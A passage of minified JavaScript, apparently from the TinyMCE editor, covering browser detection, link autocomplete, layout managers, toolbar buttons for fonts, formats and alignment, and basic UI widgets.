An(e,"chrome")&&!An(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return An(e,"msie")||An(e,"trident")}},{name:"Opera",versionRegexes:[Bn,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:Ln("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:Ln("firefox")},{name:"Safari",versionRegexes:[Bn,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(An(e,"safari")||An(e,"mobile/"))&&An(e,"applewebkit")}}],In=[{name:"Windows",search:Ln("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return An(e,"iphone")||An(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:Ln("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:Ln("os x"),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:Ln("linux"),versionRegexes:[]},{name:"Solaris",search:Ln("sunos"),versionRegexes:[]},{name:"FreeBSD",search:Ln("freebsd"),versionRegexes:[]}],Fn={browsers:k(zn),oses:k(In)},Un=function(e){var t,n,i,r,o,s,a,l,u,c,d,f=Fn.browsers(),h=Fn.oses(),m=Dn(f,e).fold(En.unknown,En.nu),g=On(h,e).fold(Pn.unknown,Pn.nu);return{browser:m,os:g,deviceType:(n=m,i=e,r=(t=g).isiOS()&&!0===/ipad/i.test(i),o=t.isiOS()&&!r,s=t.isAndroid()&&3===t.version.major,a=t.isAndroid()&&4===t.version.major,l=r||s||a&&!0===/mobile/i.test(i),u=t.isiOS()||t.isAndroid(),c=u&&!l,d=n.isSafari()&&t.isiOS()&&!1===/safari/i.test(i),{isiPad:k(r),isiPhone:k(o),isTablet:k(l),isPhone:k(c),isTouch:k(u),isAndroid:t.isAndroid,isiOS:t.isiOS,isWebView:k(d)})}},Vn=(Vt=!(Ft=function(){var e=_.navigator.userAgent;return Un(e)}),function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return Vt||(Vt=!0,Ut=Ft.apply(null,e)),Ut}),Yn=vn,$n=pn,qn=function(e){return e.nodeType!==Yn&&e.nodeType!==$n||0===e.childElementCount},Xn=(Vn().browser.isIE(),function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t]}("element","offset"),w.trim),jn=function(t){return function(e){if(e&&1===e.nodeType){if(e.contentEditable===t)return!0;if(e.getAttribute("data-mce-contenteditable")===t)return!0}return!1}},Jn=jn("true"),Gn=jn("false"),Kn=function(e,t,n,i,r){return{type:e,title:t,url:n,level:i,attach:r}},Zn=function(e){return e.innerText||e.textContent},Qn=function(e){return e.id?e.id:(t="h",n=(new Date).getTime(),t+"_"+Math.floor(1e9*Math.random())+ ++hn+String(n));var t,n},ei=function(e){return(t=e)&&"A"===t.nodeName&&(t.id||t.name)&&ni(e);var t},ti=function(e){return e&&/^(H[1-6])$/.test(e.nodeName)},ni=function(e){return function(e){for(;e=e.parentNode;){var t=e.contentEditable;if(t&&"inherit"!==t)return Jn(e)}return!1}(e)&&!Gn(e)},ii=function(e){return ti(e)&&ni(e)},ri=function(e){var t,n=Qn(e);return Kn("header",Zn(e),"#"+n,ti(t=e)?parseInt(t.nodeName.substr(1),10):0,function(){e.id=n})},oi=function(e){var t=e.id||e.name,n=Zn(e);return Kn("anchor",n||"#"+t,"#"+t,0,E)},si=function(e){var t,n,i,r,o,s;return t="h1,h2,h3,h4,h5,h6,a:not([href])",n=e,G((Vn().browser.isIE(),function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t]}("element","offset"),i=gn.fromDom(n),r=t,s=(o=i)===undefined?_.document:o.dom(),qn(s)?[]:G(s.querySelectorAll(r),gn.fromDom)),function(e){return e.dom()})},ai=function(e){return 0<Xn(e.title).length},li=function(e){var t,n=si(e);return Z((t=n,G(Z(t,ii),ri)).concat(G(Z(n,ei),oi)),ai)},ui={},ci=function(e){return{title:e.title,value:{title:{raw:e.title},url:e.url,attach:e.attach}}},di=function(e,t){return{title:e,value:{title:e,url:t,attach:E}}},fi=function(e,t,n){var i=t in e?e[t]:n;return!1===i?null:i},hi=function(e,i,r,t){var n,o,s,a,l,u,c={title:"-"},d=function(e){var t=e.hasOwnProperty(r)?e[r]:[],n=Z(t,function(e){return t=e,!J(i,function(e){return e.url===t});var t});return w.map(n,function(e){return{title:e,value:{title:e,url:e,attach:E}}})},f=function(t){var e,n=Z(i,function(e){return e.type===t});return e=n,w.map(e,ci)};return!1===t.typeahead_urls?[]:"file"===r?(n=[mi(e,d(ui)),mi(e,f("header")),mi(e,(a=f("anchor"),l=fi(t,"anchor_top","#top"),u=fi(t,"anchor_bottom","#bottom"),null!==l&&a.unshift(di("<top>",l)),null!==u&&a.push(di("<bottom>",u)),a))],o=function(e,t){return 0===e.length||0===t.length?e.concat(t):e.concat(c,t)},s=[],K(n,function(e){s=o(s,e)}),s):mi(e,d(ui))},mi=function(e,t){var n=e.toLowerCase(),i=w.grep(t,function(e){return-1!==e.title.toLowerCase().indexOf(n)});return 1===i.length&&i[0].title===e?[]:i},gi=function(r,i,o,s){var t=function(e){var t=li(o),n=hi(e,t,s,i);r.showAutoComplete(n,e)};r.on("autocomplete",function(){t(r.value())}),r.on("selectitem",function(e){var t=e.value;r.value(t.url);var n,i=(n=t.title).raw?n.raw:n;"image"===s?r.fire("change",{meta:{alt:i,attach:t.attach}}):r.fire("change",{meta:{text:i,attach:t.attach}}),r.focus()}),r.on("click",function(e){0===r.value().length&&"INPUT"===e.target.nodeName&&t("")}),r.on("PostRender",function(){r.getRoot().on("submit",function(e){var t,n,i;e.isDefaultPrevented()||(t=r.value(),i=ui[n=s],/^https?/.test(t)&&(i?j(i,t).isNone()&&(ui[n]=i.slice(0,5).concat(t)):ui[n]=[t]))})})},pi=function(o,e,n){var i=e.filepicker_validator_handler;i&&o.state.on("change:value",function(e){var t;0!==(t=e.value).length?i({url:t,type:n},function(e){var t,n,i,r=(n=(t=e).status,i=t.message,"valid"===n?{status:"ok",message:i}:"unknown"===n?{status:"warn",message:i}:"invalid"===n?{status:"warn",message:i}:{status:"none",message:""});o.statusMessage(r.message),o.statusLevel(r.status)}):o.statusLevel("none")})},vi=Qt.extend({Statics:{clearHistory:function(){ui={}}},init:function(e){var t,n,i,r=this,o=window.tinymce?window.tinymce.activeEditor:l.activeEditor,s=o.settings,a=e.filetype;e.spellcheck=!1,(i=s.file_picker_types||s.file_browser_callback_types)&&(i=w.makeMap(i,/[, ]/)),i&&!i[a]||(!(n=s.file_picker_callback)||i&&!i[a]?!(n=s.file_browser_callback)||i&&!i[a]||(t=function(){n(r.getEl("inp").id,r.value(),a,window)}):t=function(){var e=r.fire("beforecall").meta;e=w.extend({filetype:a},e),n.call(o,function(e,t){r.value(e).fire("change",{meta:t})},r.value(),e)}),t&&(e.icon="browse",e.onaction=t),r._super(e),r.classes.add("filepicker"),gi(r,s,o.getBody(),a),pi(r,s,a)}}),bi=Xt.extend({recalc:function(e){var t=e.layoutRect(),n=e.paddingBox;e.items().filter(":visible").each(function(e){e.layoutRect({x:n.left,y:n.top,w:t.innerW-n.right-n.left,h:t.innerH-n.top-n.bottom}),e.recalc&&e.recalc()})}}),yi=Xt.extend({recalc:function(e){var t,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,R,C,E,k,H,S,T,M,N,P,W,D,O,A,B,L=[],z=Math.max,I=Math.min;for(i=e.items().filter(":visible"),r=e.layoutRect(),o=e.paddingBox,s=e.settings,f=e.isRtl()?s.direction||"row-reversed":s.direction,a=s.align,l=e.isRtl()?s.pack||"end":s.pack,u=s.spacing||0,"row-reversed"!==f&&"column-reverse"!==f||(i=i.set(i.toArray().reverse()),f=f.split("-")[0]),"column"===f?(C="y",_="h",R="minH",E="maxH",H="innerH",k="top",S="deltaH",T="contentH",D="left",P="w",M="x",N="innerW",W="minW",O="right",A="deltaW",B="contentW"):(C="x",_="w",R="minW",E="maxW",H="innerW",k="left",S="deltaW",T="contentW",D="top",P="h",M="y",N="innerH",W="minH",O="bottom",A="deltaH",B="contentH"),d=r[H]-o[k]-o[k],w=c=0,t=0,n=i.length;t<n;t++)m=(h=i[t]).layoutRect(),d-=t<n-1?u:0,0<(g=h.settings.flex)&&(c+=g,m[E]&&L.push(h),m.flex=g),d-=m[R],w<(p=o[D]+m[W]+o[O])&&(w=p);if((y={})[R]=d<0?r[R]-d+r[S]:r[H]-d+r[S],y[W]=w+r[A],y[T]=r[H]-d,y[B]=w,y.minW=I(y.minW,r.maxW),y.minH=I(y.minH,r.maxH),y.minW=z(y.minW,r.startMinWidth),y.minH=z(y.minH,r.startMinHeight),!r.autoResize||y.minW===r.minW&&y.minH===r.minH){for(b=d/c,t=0,n=L.length;t<n;t++)(v=(m=(h=L[t]).layoutRect())[E])<(p=m[R]+m.flex*b)?(d-=m[E]-m[R],c-=m.flex,m.flex=0,m.maxFlexSize=v):m.maxFlexSize=0;for(b=d/c,x=o[k],y={},0===c&&("end"===l?x=d+o[k]:"center"===l?(x=Math.round(r[H]/2-(r[H]-d)/2)+o[k])<0&&(x=o[k]):"justify"===l&&(x=o[k],u=Math.floor(d/(i.length-1)))),y[M]=o[D],t=0,n=i.length;t<n;t++)p=(m=(h=i[t]).layoutRect()).maxFlexSize||m[R],"center"===a?y[M]=Math.round(r[N]/2-m[P]/2):"stretch"===a?(y[P]=z(m[W]||0,r[N]-o[D]-o[O]),y[M]=o[D]):"end"===a&&(y[M]=r[N]-m[P]-o.top),0<m.flex&&(p+=m.flex*b),y[_]=p,y[C]=x,h.layoutRect(y),h.recalc&&h.recalc(),x+=p+u}else if(y.w=y.minW,y.h=y.minH,e.layoutRect(y),this.recalc(e),null===e._lastRect){var F=e.parent();F&&(F._lastRect=null,F.recalc())}}}),xi=qt.extend({Defaults:{containerClass:"flow-layout",controlClass:"flow-layout-item",endClass:"break"},recalc:function(e){e.items().filter(":visible").each(function(e){e.recalc&&e.recalc()})},isNative:function(){return!0}}),wi=function(e,t){return n=t,r=(i=e)===undefined?_.document:i.dom(),qn(r)?N.none():N.from(r.querySelector(n)).map(gn.fromDom);var n,i,r},_i=function(e,t){return function(){e.execCommand("mceToggleFormat",!1,t)}},Ri=function(e,t,n){var i=function(e){n(e,t)};e.formatter?e.formatter.formatChanged(t,i):e.on("init",function(){e.formatter.formatChanged(t,i)})},Ci=function(e,n){return function(t){Ri(e,n,function(e){t.control.active(e)})}},Ei=function(i){var t=["alignleft","aligncenter","alignright","alignjustify"],r="alignleft",e=[{text:"Left",icon:"alignleft",onclick:_i(i,"alignleft")},{text:"Center",icon:"aligncenter",onclick:_i(i,"aligncenter")},{text:"Right",icon:"alignright",onclick:_i(i,"alignright")},{text:"Justify",icon:"alignjustify",onclick:_i(i,"alignjustify")}];i.addMenuItem("align",{text:"Align",menu:e}),i.addButton("align",{type:"menubutton",icon:r,menu:e,onShowMenu:function(e){var n=e.control.menu;w.each(t,function(t,e){n.items().eq(e).each(function(e){return e.active(i.formatter.match(t))})})},onPostRender:function(e){var n=e.control;w.each(t,function(t,e){Ri(i,t,function(e){n.icon(r),e&&n.icon(t)})})}}),w.each({alignleft:["Align left","JustifyLeft"],aligncenter:["Align center","JustifyCenter"],alignright:["Align right","JustifyRight"],alignjustify:["Justify","JustifyFull"],alignnone:["No alignment","JustifyNone"]},function(e,t){i.addButton(t,{active:!1,tooltip:e[0],cmd:e[1],onPostRender:Ci(i,t)})})},ki=function(e){return e?e.split(",")[0]:""},Hi=function(l,u){return function(){var a=this;a.state.set("value",null),l.on("init nodeChange",function(e){var t,n,i,r,o=l.queryCommandValue("FontName"),s=(t=u,r=(n=o)?n.toLowerCase():"",w.each(t,function(e){e.value.toLowerCase()===r&&(i=e.value)}),w.each(t,function(e){i||ki(e.value).toLowerCase()!==ki(r).toLowerCase()||(i=e.value)}),i);a.value(s||null),!s&&o&&a.text(ki(o))})}},Si=function(n){n.addButton("fontselect",function(){var e,t=(e=function(e){for(var t=(e=e.replace(/;$/,"").split(";")).length;t--;)e[t]=e[t].split("=");return e}(n.settings.font_formats||"Andale Mono=andale mono,monospace;Arial=arial,helvetica,sans-serif;Arial Black=arial black,sans-serif;Book Antiqua=book antiqua,palatino,serif;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,palatino,serif;Helvetica=helvetica,arial,sans-serif;Impact=impact,sans-serif;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco,monospace;Times New Roman=times new roman,times,serif;Trebuchet MS=trebuchet ms,geneva,sans-serif;Verdana=verdana,geneva,sans-serif;Webdings=webdings;Wingdings=wingdings,zapf dingbats"),w.map(e,function(e){return{text:{raw:e[0]},value:e[1],textStyle:-1===e[1].indexOf("dings")?"font-family:"+e[1]:""}}));return{type:"listbox",text:"Font Family",tooltip:"Font Family",values:t,fixedWidth:!0,onPostRender:Hi(n,t),onselect:function(e){e.control.settings.value&&n.execCommand("FontName",!1,e.control.settings.value)}}})},Ti=function(e){Si(e)},Mi=function(e,t){return/[0-9.]+px$/.test(e)?(n=72*parseInt(e,10)/96,i=t||0,r=Math.pow(10,i),Math.round(n*r)/r+"pt"):e;var n,i,r},Ni=function(e,t,n){var i;return w.each(e,function(e){e.value===n?i=n:e.value===t&&(i=t)}),i},Pi=function(n){n.addButton("fontsizeselect",function(){var e,s,a,t=(e=n.settings.fontsize_formats||"8pt 10pt 12pt 14pt 18pt 24pt 36pt",w.map(e.split(" "),function(e){var t=e,n=e,i=e.split("=");return 1<i.length&&(t=i[0],n=i[1]),{text:t,value:n}}));return{type:"listbox",text:"Font Sizes",tooltip:"Font Sizes",values:t,fixedWidth:!0,onPostRender:(s=n,a=t,function(){var o=this;s.on("init nodeChange",function(e){var t,n,i,r;if(t=s.queryCommandValue("FontSize"))for(i=3;!r&&0<=i;i--)n=Mi(t,i),r=Ni(a,n,t);o.value(r||null),r||o.text(n)})}),onclick:function(e){e.control.settings.value&&n.execCommand("FontSize",!1,e.control.settings.value)}}})},Wi=function(e){Pi(e)},Di=function(n,e){var i=e.length;return w.each(e,function(e){e.menu&&(e.hidden=0===Di(n,e.menu));var t=e.format;t&&(e.hidden=!n.formatter.canApply(t)),e.hidden&&i--}),i},Oi=function(n,e){var i=e.items().length;return e.items().each(function(e){e.menu&&e.visible(0<Oi(n,e.menu)),!e.menu&&e.settings.menu&&e.visible(0<Di(n,e.settings.menu));var t=e.settings.format;t&&e.visible(n.formatter.canApply(t)),e.visible()||i--}),i},Ai=function(e){var i,r,o,t,s,n,a,l,u=(r=0,o=[],t=[{title:"Headings",items:[{title:"Heading 1",format:"h1"},{title:"Heading 2",format:"h2"},{title:"Heading 3",format:"h3"},{title:"Heading 4",format:"h4"},{title:"Heading 5",format:"h5"},{title:"Heading 6",format:"h6"}]},{title:"Inline",items:[{title:"Bold",icon:"bold",format:"bold"},{title:"Italic",icon:"italic",format:"italic"},{title:"Underline",icon:"underline",format:"underline"},{title:"Strikethrough",icon:"strikethrough",format:"strikethrough"},{title:"Superscript",icon:"superscript",format:"superscript"},{title:"Subscript",icon:"subscript",format:"subscript"},{title:"Code",icon:"code",format:"code"}]},{title:"Blocks",items:[{title:"Paragraph",format:"p"},{title:"Blockquote",format:"blockquote"},{title:"Div",format:"div"},{title:"Pre",format:"pre"}]},{title:"Alignment",items:[{title:"Left",icon:"alignleft",format:"alignleft"},{title:"Center",icon:"aligncenter",format:"aligncenter"},{title:"Right",icon:"alignright",format:"alignright"},{title:"Justify",icon:"alignjustify",format:"alignjustify"}]}],s=function(e){var i=[];if(e)return w.each(e,function(e){var t={text:e.title,icon:e.icon};if(e.items)t.menu=s(e.items);else{var n=e.format||"custom"+r++;e.format||(e.name=n,o.push(e)),t.format=n,t.cmd=e.cmd}i.push(t)}),i},(i=e).on("init",function(){w.each(o,function(e){i.formatter.register(e.name,e)})}),{type:"menu",items:i.settings.style_formats_merge?i.settings.style_formats?s(t.concat(i.settings.style_formats)):s(t):s(i.settings.style_formats||t),onPostRender:function(e){i.fire("renderFormatsMenu",{control:e.control})},itemDefaults:{preview:!0,textStyle:function(){if(this.settings.format)return i.formatter.getCssText(this.settings.format)},onPostRender:function(){var n=this;n.parent().on("show",function(){var e,t;(e=n.settings.format)&&(n.disabled(!i.formatter.canApply(e)),n.active(i.formatter.match(e))),(t=n.settings.cmd)&&n.active(i.queryCommandState(t))})},onclick:function(){this.settings.format&&_i(i,this.settings.format)(),this.settings.cmd&&i.execCommand(this.settings.cmd)}}});n=u,e.addMenuItem("formats",{text:"Formats",menu:n}),l=u,(a=e).addButton("styleselect",{type:"menubutton",text:"Formats",menu:l,onShowMenu:function(){a.settings.style_formats_autohide&&Oi(a,this.menu)}})},Bi=function(n,e){return function(){var r,o,s,t=[];return w.each(e,function(e){t.push({text:e[0],value:e[1],textStyle:function(){return n.formatter.getCssText(e[1])}})}),{type:"listbox",text:e[0][0],values:t,fixedWidth:!0,onselect:function(e){if(e.control){var t=e.control.value();_i(n,t)()}},onPostRender:(r=n,o=t,function(){var t=this;r.on("nodeChange",function(e){var n=r.formatter,i=null;w.each(e.parents,function(t){if(w.each(o,function(e){if(s?n.matchNode(t,s,{value:e.value})&&(i=e.value):n.matchNode(t,e.value)&&(i=e.value),i)return!1}),i)return!1}),t.value(i)})})}}},Li=function(e){var t,n,i=function(e){for(var t=(e=e.replace(/;$/,"").split(";")).length;t--;)e[t]=e[t].split("=");return e}(e.settings.block_formats||"Paragraph=p;Heading 1=h1;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre");e.addMenuItem("blockformats",{text:"Blocks",menu:(t=e,n=i,w.map(n,function(e){return{text:e[0],onclick:_i(t,e[1]),textStyle:function(){return t.formatter.getCssText(e[1])}}}))}),e.addButton("formatselect",Bi(e,i))},zi=function(t,e){var n,i;if("string"==typeof e)i=e.split(" ");else if(w.isArray(e))return function(e){for(var t=[],n=0,i=e.length;n<i;++n){if(!V(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);X.apply(t,e[n])}return t}(w.map(e,function(e){return zi(t,e)}));return n=w.grep(i,function(e){return"|"===e||e in t.menuItems}),w.map(n,function(e){return"|"===e?{text:"-"}:t.menuItems[e]})},Ii=function(e){return e&&"-"===e.text},Fi=function(n){var i=Z(n,function(e,t){return!Ii(e)||!Ii(n[t-1])});return Z(i,function(e,t){return!Ii(e)||0<t&&t<i.length-1})},Ui=function(e){var t,n,i,r,o=e.settings.insert_button_items;return Fi(o?zi(e,o):(t=e,n="insert",i=[{text:"-"}],r=w.grep(t.menuItems,function(e){return e.context===n}),w.each(r,function(e){"before"===e.separator&&i.push({text:"|"}),e.prependToContext?i.unshift(e):i.push(e),"after"===e.separator&&i.push({text:"|"})}),i))},Vi=function(e){var t;(t=e).addButton("insert",{type:"menubutton",icon:"insert",menu:[],oncreatemenu:function(){this.menu.add(Ui(t)),this.menu.renderNew()}})},Yi=function(e){var n,i,r;n=e,w.each({bold:"Bold",italic:"Italic",underline:"Underline",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript"},function(e,t){n.addButton(t,{active:!1,tooltip:e,onPostRender:Ci(n,t),onclick:_i(n,t)})}),i=e,w.each({outdent:["Decrease indent","Outdent"],indent:["Increase indent","Indent"],cut:["Cut","Cut"],copy:["Copy","Copy"],paste:["Paste","Paste"],help:["Help","mceHelp"],selectall:["Select all","SelectAll"],visualaid:["Visual aids","mceToggleVisualAid"],newdocument:["New document","mceNewDocument"],removeformat:["Clear formatting","RemoveFormat"],remove:["Remove","Delete"]},function(e,t){i.addButton(t,{tooltip:e[0],cmd:e[1]})}),r=e,w.each({blockquote:["Blockquote","mceBlockQuote"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"]},function(e,t){r.addButton(t,{active:!1,tooltip:e[0],cmd:e[1],onPostRender:Ci(r,t)})})},$i=function(e){var n;Yi(e),n=e,w.each({bold:["Bold","Bold","Meta+B"],italic:["Italic","Italic","Meta+I"],underline:["Underline","Underline","Meta+U"],strikethrough:["Strikethrough","Strikethrough"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"],removeformat:["Clear formatting","RemoveFormat"],newdocument:["New document","mceNewDocument"],cut:["Cut","Cut","Meta+X"],copy:["Copy","Copy","Meta+C"],paste:["Paste","Paste","Meta+V"],selectall:["Select all","SelectAll","Meta+A"]},function(e,t){n.addMenuItem(t,{text:e[0],icon:t,shortcut:e[2],cmd:e[1]})}),n.addMenuItem("codeformat",{text:"Code",icon:"code",onclick:_i(n,"code")})},qi=function(n,i){return function(){var e=this,t=function(){var e="redo"===i?"hasRedo":"hasUndo";return!!n.undoManager&&n.undoManager[e]()};e.disabled(!t()),n.on("Undo Redo AddUndo TypingUndo ClearUndos SwitchMode",function(){e.disabled(n.readonly||!t())})}},Xi=function(e){var t,n;(t=e).addMenuItem("undo",{text:"Undo",icon:"undo",shortcut:"Meta+Z",onPostRender:qi(t,"undo"),cmd:"undo"}),t.addMenuItem("redo",{text:"Redo",icon:"redo",shortcut:"Meta+Y",onPostRender:qi(t,"redo"),cmd:"redo"}),(n=e).addButton("undo",{tooltip:"Undo",onPostRender:qi(n,"undo"),cmd:"undo"}),n.addButton("redo",{tooltip:"Redo",onPostRender:qi(n,"redo"),cmd:"redo"})},ji=function(e){var t,n;(t=e).addMenuItem("visualaid",{text:"Visual aids",selectable:!0,onPostRender:(n=t,function(){var t=this;n.on("VisualAid",function(e){t.active(e.hasVisual)}),t.active(n.hasVisual)}),cmd:"mceToggleVisualAid"})},Ji={setup:function(e){var t;e.rtl&&(rt.rtl=!0),e.on("mousedown progressstate",function(){Ct.hideAll()}),(t=e).settings.ui_container&&(ce.container=wi(gn.fromDom(_.document.body),t.settings.ui_container).fold(k(null),function(e){return e.dom()})),Nt.tooltips=!ce.iOS,rt.translate=function(e){return l.translate(e)},Li(e),Ei(e),$i(e),Xi(e),Wi(e),Ti(e),Ai(e),ji(e),Vi(e)}},Gi=Xt.extend({recalc:function(e){var t,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,R,C,E,k,H,S,T=[],M=[];t=e.settings,r=e.items().filter(":visible"),o=e.layoutRect(),i=t.columns||Math.ceil(Math.sqrt(r.length)),n=Math.ceil(r.length/i),b=t.spacingH||t.spacing||0,y=t.spacingV||t.spacing||0,x=t.alignH||t.align,w=t.alignV||t.align,p=e.paddingBox,S="reverseRows"in t?t.reverseRows:e.isRtl(),x&&"string"==typeof x&&(x=[x]),w&&"string"==typeof w&&(w=[w]);for(d=0;d<i;d++)T.push(0);for(f=0;f<n;f++)M.push(0);for(f=0;f<n;f++)for(d=0;d<i&&(c=r[f*i+d]);d++)C=(u=c.layoutRect()).minW,E=u.minH,T[d]=C>T[d]?C:T[d],M[f]=E>M[f]?E:M[f];for(k=o.innerW-p.left-p.right,d=_=0;d<i;d++)_+=T[d]+(0<d?b:0),k-=(0<d?b:0)+T[d];for(H=o.innerH-p.top-p.bottom,f=R=0;f<n;f++)R+=M[f]+(0<f?y:0),H-=(0<f?y:0)+M[f];if(_+=p.left+p.right,R+=p.top+p.bottom,(l={}).minW=_+(o.w-o.innerW),l.minH=R+(o.h-o.innerH),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH,l.minW=Math.min(l.minW,o.maxW),l.minH=Math.min(l.minH,o.maxH),l.minW=Math.max(l.minW,o.startMinWidth),l.minH=Math.max(l.minH,o.startMinHeight),!o.autoResize||l.minW===o.minW&&l.minH===o.minH){var N;o.autoResize&&((l=e.layoutRect(l)).contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH),N="start"===t.packV?0:0<H?Math.floor(H/n):0;var P=0,W=t.flexWidths;if(W)for(d=0;d<W.length;d++)P+=W[d];else P=i;var D=k/P;for(d=0;d<i;d++)T[d]+=W?W[d]*D:D;for(m=p.top,f=0;f<n;f++){for(h=p.left,a=M[f]+N,d=0;d<i&&(c=r[S?f*i+i-1-d:f*i+d]);d++)g=c.settings,u=c.layoutRect(),s=Math.max(T[d],u.startMinWidth),u.x=h,u.y=m,"center"===(v=g.alignH||(x?x[d]||x[0]:null))?u.x=h+s/2-u.w/2:"right"===v?u.x=h+s-u.w:"stretch"===v&&(u.w=s),"center"===(v=g.alignV||(w?w[d]||w[0]:null))?u.y=m+a/2-u.h/2:"bottom"===v?u.y=m+a-u.h:"stretch"===v&&(u.h=a),c.layoutRect(u),h+=s+b,c.recalc&&c.recalc();m+=a+y}}else if(l.w=l.minW,l.h=l.minH,e.layoutRect(l),this.recalc(e),null===e._lastRect){var O=e.parent();O&&(O._lastRect=null,O.recalc())}}}),Ki=Nt.extend({renderHtml:function(){var e=this;return e.classes.add("iframe"),e.canFocus=!1,'<iframe id="'+e._id+'" class="'+e.classes+'" tabindex="-1" src="'+(e.settings.url||"javascript:''")+'" frameborder="0"></iframe>'},src:function(e){this.getEl().src=e},html:function(e,t){var n=this,i=this.getEl().contentWindow.document.body;return i?(i.innerHTML=e,t&&t()):u.setTimeout(function(){n.html(e)}),this}}),Zi=Nt.extend({init:function(e){this._super(e),this.classes.add("widget").add("infobox"),this.canFocus=!1},severity:function(e){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(e)},help:function(e){this.state.set("help",e)},renderHtml:function(){var e=this,t=e.classPrefix;return'<div id="'+e._id+'" class="'+e.classes+'"><div id="'+e._id+'-body">'+e.encode(e.state.get("text"))+'<button role="button" tabindex="-1"><i class="'+t+"ico "+t+'i-help"></i></button></div></div>'},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.getEl("body").firstChild.data=t.encode(e.value),t.state.get("rendered")&&t.updateLayoutRect()}),t.state.on("change:help",function(e){t.classes.toggle("has-help",e.value),t.state.get("rendered")&&t.updateLayoutRect()}),t._super()}}),Qi=Nt.extend({init:function(e){var t=this;t._super(e),t.classes.add("widget").add("label"),t.canFocus=!1,e.multiline&&t.classes.add("autoscroll"),e.strong&&t.classes.add("strong")},initLayoutRect:function(){var e=this,t=e._super();return e.settings.multiline&&(we.getSize(e.getEl()).width>t.maxW&&(t.minW=t.maxW,e.classes.add("multiline")),e.getEl().style.width=t.minW+"px",t.startMinH=t.h=t.minH=Math.min(t.maxH,we.getSize(e.getEl()).height)),t},repaint:function(){return this.settings.multiline||(this.getEl().style.lineHeight=this.layoutRect().h+"px"),this._super()},severity:function(e){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(e)},renderHtml:function(){var e,t,n=this,i=n.settings.forId,r=n.settings.html?n.settings.html:n.encode(n.state.get("text"));return!i&&(t=n.settings.forName)&&(e=n.getRoot().find("#"+t)[0])&&(i=e._id),i?'<label id="'+n._id+'" class="'+n.classes+'"'+(i?' for="'+i+'"':"")+">"+r+"</label>":'<span id="'+n._id+'" class="'+n.classes+'">'+r+"</span>"},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.innerHtml(t.encode(e.value)),t.state.get("rendered")&&t.updateLayoutRect()}),t._super()}}),er=lt.extend({Defaults:{role:"toolbar",layout:"flow"},init:function(e){this._super(e),this.classes.add("toolbar")},postRender:function(){return this.items().each(function(e){e.classes.add("toolbar-item")}),this._super()}}),tr=er.extend({Defaults:{role:"menubar",containerCls:"menubar",ariaRoot:!0,defaults:{type:"menubutton"}}}),nr=jt.extend({init:function(e){var t=this;t._renderOpen=!0,t._super(e),e=t.settings,t.classes.add("menubtn"),e.fixedWidth&&t.classes.add("fixed-width"),t.aria("haspopup",!0),t.state.set("menu",e.menu||t.render())},showMenu:function(e){var t,n=this;if(n.menu&&n.menu.visible()&&!1!==e)return n.hideMenu();n.menu||(t=n.state.get("menu")||[],n.classes.add("opened"),t.length?t={type:"menu",animate:!0,items:t}:(t.type=t.type||"menu",t.animate=!0),t.renderTo?n.menu=t.parent(n).show().renderTo():n.menu=v.create(t).parent(n).renderTo(),n.fire("createmenu"),n.menu.reflow(),n.menu.on("cancel",function(e){e.control.parent()===n.menu&&(e.stopPropagation(),n.focus(),n.hideMenu())}),n.menu.on("select",function(){n.focus()}),n.menu.on("show hide",function(e){"hide"===e.type&&e.control.parent()===n&&n.classes.remove("opened-under"),e.control===n.menu&&(n.activeMenu("show"===e.type),n.classes.toggle("opened","show"===e.type)),n.aria("expanded","show"===e.type)}).fire("show")),n.menu.show(),n.menu.layoutRect({w:n.layoutRect().w}),n.menu.repaint(),n.menu.moveRel(n.getEl(),n.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"]);var i=n.menu.layoutRect(),r=n.$el.offset().top+n.layoutRect().h;r>i.y&&r<i.y+i.h&&n.classes.add("opened-under"),n.fire("showmenu")},hideMenu:function(){this.menu&&(this.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),this.menu.hide())},activeMenu:function(e){this.classes.toggle("active",e)},renderHtml:function(){var e,t=this,n=t._id,i=t.classPrefix,r=t.settings.icon,o=t.state.get("text"),s="";return(e=t.settings.image)?(r="none","string"!=typeof e&&(e=_.window.getSelection?e[0]:e[1]),e=" style=\"background-image: url('"+e+"')\""):e="",o&&(t.classes.add("btn-has-text"),s='<span class="'+i+'txt">'+t.encode(o)+"</span>"),r=t.settings.icon?i+"ico "+i+"i-"+r:"",t.aria("role",t.parent()instanceof tr?"menuitem":"button"),'<div 